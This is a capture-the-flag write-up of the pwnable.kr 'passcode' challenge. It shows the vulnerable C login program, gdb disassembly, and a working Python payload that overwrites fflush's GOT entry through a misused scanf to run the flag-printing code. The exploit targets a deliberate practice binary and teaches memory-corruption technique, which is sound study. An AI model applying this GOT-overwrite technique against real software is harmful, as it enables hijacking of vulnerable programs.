We’re back once again with another installment of Pwnable.kr’s CTF series. This one is the fifth post from the “Toddler’s Bottle” series, entitled “passcode.”
Our hint:
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?
ssh passcode@pwnable.kr -p2222 (pw:guest)
The obvious choice
If we look at the contents of passcode.c
using cat, we get:
passcode@ubuntu:~$ cat passcode.c
#include
#include
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
So, we’re asked for our name, then we have to provide two passcodes, which are checked against hardcoded values (338150 and 13371337), and then we’re logged in.
If we try the obvious approach, and enter in 338150 as an integer:
passcode@ubuntu:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : jaime
Welcome jaime!
enter passcode1 : 338150
Segmentation fault
Oop. We get a seg fault.
What if we enter it in as a string?
passcode@ubuntu:~$ ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : jaime
Welcome jaime!
enter passcode1 : "338150"
enter passcode2 : checking...
Login Failed!
It continues on without letting me enter in the second passcode. Why?
I made a copy of the C file, modified it to remove the fflush
call and ran it again. But the same thing happened, so it isn’t fflush
. So what’s the cause?
Just a compiler warning…
If try to compile passcode.c
:
$ ssh passcode@pwnable.kr -p2222
$ gcc passcode.c [doesn't matter what we put for an output file, as we don't have permission to do so]
We get a couple of compiler warnings:
passcode@ubuntu:~$ gcc passcode.c
passcode.c: In function ‘login’:
passcode.c:9:8: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
scanf("%d", passcode1);
^
passcode.c:14:15: warning: format ‘%d’ expects argument of type ‘int *’, but argument 2 has type ‘int’ [-Wformat=]
scanf("%d", passcode2);
^
The two offending lines are in the login()
function. Instead of providing the address of passcode1 and passcode2 for the scanf
function to write a result to, we’re passing the value.
If I make a local copy of the program and change both scanf
calls to take pointers to a value instead of the value itself, and the program works as originally intended, and I can enter in both values.
But, maybe we can use the scanf
issues to our advantage. Just to reiterate, if we wrote this C code the right way, whatever we typed in as our answer to the passcode1
question would be written into memory at the location of variable passcode1
. But instead, because it wasn’t written correctly, it’s writing our input to the value of passcode1
interpreted as an address.
So if we can put our own address into memory ahead of time, and then input a value for passcode1, we can write whatever we want, wherever we want in memory.
Control-F scanf()
If you search for other scanf
calls, you’ll notice that there’s one in welcome()
:
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
You might have noticed that welcome()‘s use of scanf _doesn’t _generate a compiler warning. The length of the input is limited to 100 chars, but maybe we can get somewhere with that?
scanf("%100s", name);
We’re going to need to find name
, and its location. Then, if we can find something we want to overwrite, we can see if its within our allotted 100 chars of distance.
All the disassembly!
Here’s the disassembly for welcome():
(gdb) disas welcome
Dump of assembler code for function welcome:
0x08048609 <+0>: push %ebp
0x0804860a <+1>: mov %esp,%ebp
0x0804860c <+3>: sub $0x88,%esp
0x08048612 <+9>: mov %gs:0x14,%eax
0x08048618 <+15>: mov %eax,-0xc(%ebp)
0x0804861b <+18>: xor %eax,%eax
0x0804861d <+20>: mov $0x80487cb,%eax
0x08048622 <+25>: mov %eax,(%esp)
0x08048625 <+28>: call 0x8048420 <printf@plt>
0x0804862a <+33>: mov $0x80487dd,%eax
0x0804862f <+38>: lea -0x70(%ebp),%edx
0x08048632 <+41>: mov %edx,0x4(%esp)
0x08048636 <+45>: mov %eax,(%esp)
0x08048639 <+48>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804863e <+53>: mov $0x80487e3,%eax
0x08048643 <+58>: lea -0x70(%ebp),%edx
0x08048646 <+61>: mov %edx,0x4(%esp)
0x0804864a <+65>: mov %eax,(%esp)
0x0804864d <+68>: call 0x8048420 <printf@plt>
0x08048652 <+73>: mov -0xc(%ebp),%eax
0x08048655 <+76>: xor %gs:0x14,%eax
0x0804865c <+83>: je 0x8048663 <welcome+90>
0x0804865e <+85>: call 0x8048440 <__stack_chk_fail@plt>
0x08048663 <+90>: leave
0x08048664 <+91>: ret
End of assembler dump.
Here, we’re moving the value from edx (the data register, which handles inputs and outputs, among other things) into $ebp-0x70. That’s probably our name
valuable.
0x0804862f <+38>: lea -0x70(%ebp),%edx
Let’s test out our theory:
(gdb) break *0x08048643
Breakpoint 1 at 0x8048643
(gdb) run
Starting program: /home/passcode/passcode
Toddler's Secure Login System 1.0 beta.
enter you name : jaime
Breakpoint 1, 0x08048643 in welcome ()
(gdb) x/1s $edp-0x70
Argument to arithmetic operation not a number or boolean.
(gdb) x/1s $ebp-0x70
0xff9ad218: "jaime"
Yep. Okay, let’s go find passcode1
.
disas login
If we disassemble the login function, we get:
(gdb) disas login
Dump of assembler code for function login:
0x08048564 <+0>: push %ebp
0x08048565 <+1>: mov %esp,%ebp
0x08048567 <+3>: sub $0x28,%esp
0x0804856a <+6>: mov $0x8048770,%eax
0x0804856f <+11>: mov %eax,(%esp)
0x08048572 <+14>: call 0x8048420 <printf@plt>
0x08048577 <+19>: mov $0x8048783,%eax
0x0804857c <+24>: mov -0x10(%ebp),%edx
0x0804857f <+27>: mov %edx,0x4(%esp)
0x08048583 <+31>: mov %eax,(%esp)
0x08048586 <+34>: call 0x80484a0 <__isoc99_scanf@plt>
0x0804858b <+39>: mov 0x804a02c,%eax
0x08048590 <+44>: mov %eax,(%esp)
0x08048593 <+47>: call 0x8048430 <fflush@plt>
0x08048598 <+52>: mov $0x8048786,%eax
0x0804859d <+57>: mov %eax,(%esp)
0x080485a0 <+60>: call 0x8048420 <printf@plt>
0x080485a5 <+65>: mov $0x8048783,%eax
0x080485aa <+70>: mov -0xc(%ebp),%edx
0x080485ad <+73>: mov %edx,0x4(%esp)
0x080485b1 <+77>: mov %eax,(%esp)
0x080485b4 <+80>: call 0x80484a0 <__isoc99_scanf@plt>
0x080485b9 <+85>: movl $0x8048799,(%esp)
0x080485c0 <+92>: call 0x8048450 <puts@plt>
0x080485c5 <+97>: cmpl $0x528e6,-0x10(%ebp)
0x080485cc <+104>: jne 0x80485f1 <login+141>
0x080485ce <+106>: cmpl $0xcc07c9,-0xc(%ebp)
0x080485d5 <+113>: jne 0x80485f1 <login+141>
0x080485d7 <+115>: movl $0x80487a5,(%esp)
0x080485de <+122>: call 0x8048450 <puts@plt>
0x080485e3 <+127>: movl $0x80487af,(%esp)
0x080485ea <+134>: call 0x8048460 <system@plt>
0x080485ef <+139>: leave
0x080485f0 <+140>: ret
0x080485f1 <+141>: movl $0x80487bd,(%esp)
0x080485f8 <+148>: call 0x8048450 <puts@plt>
0x080485fd <+153>: movl $0x0,(%esp)
0x08048604 <+160>: call 0x8048480 <exit@plt>
End of assembler dump.
Here, we’ve got a few more lines of assembly representing the scanf results being moved from the EDX data register elsewhere into memory:
0x0804857c <+24>: mov -0x10(%ebp),%edx
[...]
0x080485aa <+70>: mov -0xc(%ebp),%edx
The assembly instructions here are mov
instead of lea
, which further demonstrates the difference between welcome()
's correctly written scanf()
call and login()
's incorrectly written calls.
It looks like $ebp-0x10 might be the location of passcode1. Because $ebp-0x70 and $ebp-0x10 are less than 100 chars away from one another (0x60 -> 96 in decimal), we can overwrite the initial value of passcode1
. We’ll put an address here. Then, our answer to passcode1
will be written to the overwritten address location.
So, where do we want to overwrite, and what do we want to say? Maybe we can use that fflush
call that happens after the first scanf
. But how do we find its address?
GOT
Different GoT… General Offset Table. The Global Offset Table, according to Wikipedia, “is a table of addresses stored in the data section. It is used by executed programs to find during runtime addresses of global variables, unknown in compile time.”
If we disassemble fflush
, we can grab its address from the first jmp
function. (We could also have `readelf -a passcode”
(gdb) disas fflush
Dump of assembler code for function fflush@plt:
0x08048430 <+0>: jmp *0x804a004
0x08048436 <+6>: push $0x8
0x0804843b <+11>: jmp 0x8048410
The answer to “where we want to overwrite” is “*0x804a004”, the address of fflush
.
What exactly are we doing here? Remember that we wanted to overwrite the value of passcode1
, because the compiler will (wrongly) interpret that value as an address, so our user input will be written to that value-as-an-address.
0x804a004 is the start of the set of instructions to be executed (collectively, they’re fflush
). When our code gets to the fflush
line, it’ll start executing those instructions… orrrr, it’ll execute the instruction that we move to that location.
We’re going to use the poorly written scanf
function to sneak in our own instruction on top of the scanf
instructions. We will do this by overwriting passcode1
with the address that we want to write to, then we’ll pass scanf
the location of the instruction we want to execute.
And since this is capture the flag, let’s pass it the “read from the flag file” instruction in the login
function.
system("/bin/cat flag");
I originally guessed that this was here:
0x080485ea <+134>: call 0x8048460 <system@plt>
So, as the input of my program I did:
- 96 filler chars
- Address of fflush (rearranged for endian-ness): 0x804a004
- Address of “print the flag” instruction (rearranged for endianness): 0x080485ea
Which looked like:
$ python -c "print '\x01'*96 + '\x04\xa0\x04\x08' + '\xea\x85\x04\x08'" | ./passcode
But, I was wrong with the last address. I should have used the address in this line:
0x080485e3 <+127>: movl $0x80487af,(%esp)
And, I should have written it as decimal. Sooo:
passcode@ubuntu:~$ python -c "print '\x01'*96 + '\x04\xa0\x04\x08' + '134514147'" | ./passcode
Toddler's Secure Login System 1.0 beta.
enter you name : Welcome !
Sorry mom.. I got confused about scanf usage :(
enter passcode1 : Now I can safely trust you that you have credential :)
And there we have it!